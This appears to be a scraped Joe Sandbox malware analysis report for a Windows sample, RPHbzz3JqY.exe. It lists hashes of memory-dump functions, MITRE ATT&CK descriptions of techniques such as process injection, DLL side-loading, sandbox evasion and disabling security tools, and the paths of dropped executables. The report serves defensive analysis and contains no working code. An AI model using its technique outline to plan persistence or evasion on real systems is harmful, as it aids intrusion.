Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a88b7f817ef0f48746bc82e2b8c6929b3470f826f78e4bb48050ae33ea2fea
Instruction ID: bec94ac6dc81fea609e824d3c954b4c8dfa324748fdf37302969acb4d8a8eab4
Opcode Fuzzy Hash: e4a88b7f817ef0f48746bc82e2b8c6929b3470f826f78e4bb48050ae33ea2fea
Instruction Fuzzy Hash: 54014231605344CFCB258B28DC84999BBA7EF8A32071849AAE4029B391CF30AC20CB52

Function 017B0838 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a7c9777c4e331b1f34eeaad2ace0a506433246cb224c8e107684a99d8118dd
Instruction ID: 7ba1f944b4ecefa8c6647461fabbd844a769a3e1ef244c17b5e873724d0322e0
Opcode Fuzzy Hash: d4a7c9777c4e331b1f34eeaad2ace0a506433246cb224c8e107684a99d8118dd
Instruction Fuzzy Hash: 65F06270E14204EFCB44CFB5DD8569EBFF2EB99201F1585A6D805D7614F6348B119B41

Function 017B0848 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142e8cb47a402af7f8a1887a8147fa33db928a6c3bbc8e076c9d4712394f2021
Instruction ID: 22af9b509380658288b421950ba67e8f1f9dae09d423f3ba3dad62c6bfe25213
Opcode Fuzzy Hash: 142e8cb47a402af7f8a1887a8147fa33db928a6c3bbc8e076c9d4712394f2021
Instruction Fuzzy Hash: E2F05E70E44308EFCB84DFB9998529EFFF2EB85201F20C5A6E545D3614E7349B118B81

Function 017B2F09 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500f9f8d294cfb2e3b4ea7273d2a368ffb4ffc9d4553d49ff37371651649d79b
Instruction ID: b8b8e8970139ab6425ba4b626a6e324491dce4959d051ada791597f0c81ed7d7
Opcode Fuzzy Hash: 500f9f8d294cfb2e3b4ea7273d2a368ffb4ffc9d4553d49ff37371651649d79b
Instruction Fuzzy Hash: 59E0DF32100450BFC712CE58DA4489AFFA5EB8531131AC252E449D721AC335E921CB90

Function 017B228D Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87b42c53596f13bf7b003dfe3c5583d9223fde8f571d0599ef9a777e48a2e47d
Instruction ID: 731c495d4a3bafe1d844a89198e1a7cf61ab1bccc92c6d0c6e42686766a306d4
Opcode Fuzzy Hash: 87b42c53596f13bf7b003dfe3c5583d9223fde8f571d0599ef9a777e48a2e47d
Instruction Fuzzy Hash: 69D05E36605308DFC7249B60EC58468B771FF85366760456EE10B46691C736A826CF40

Function 017B1EAB Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d84c2db59e460e9bd944caecec81f50dbc72542df4d996735ca52c29cfb8fe50
Instruction ID: 6381f5291171f6c25ccd85bbfd040affe2d9b124fc95224b05e8cb90cf6425fd
Opcode Fuzzy Hash: d84c2db59e460e9bd944caecec81f50dbc72542df4d996735ca52c29cfb8fe50
Instruction Fuzzy Hash: 33E00974A01608CBCB14CFA5CA909DDFBF2EB8D221B649269D806A2354D635AE46CB21

Function 017B212E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de0dad515350b9cc55f7eaaa64db9d11cbd8855dfec02bb0f5af210f7dc26381
Instruction ID: 7a2ce06e24e7fbfb755698808132cb9e906e07f61f62b08da288e877ccfc25e4
Opcode Fuzzy Hash: de0dad515350b9cc55f7eaaa64db9d11cbd8855dfec02bb0f5af210f7dc26381
Instruction Fuzzy Hash: FBD0A934210300DBC7608B30E94172AB3B2BB89300F11550AD14786BA0C230A0408E00

Function 017B40E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 670b845084956f01fbde49b3d4a69d95575d808eace86107157665aed00b3f48
Instruction ID: eee42e69a645e8050d5a3a0a921f6ae0de28d7cf5dc474edfe976869f73d8325
Opcode Fuzzy Hash: 670b845084956f01fbde49b3d4a69d95575d808eace86107157665aed00b3f48
Instruction Fuzzy Hash: 4CC02B30B200004AC384E634E8C8ACCF271FF441C0750481B64003F0B9CF208E014841

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RPHbzz3JqY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Bitcoin Miner

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe

C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe

C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe

C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe

C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe

C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe

C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe

C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe

C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe

C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe

C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe

Windows Analysis Report
RPHbzz3JqY.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre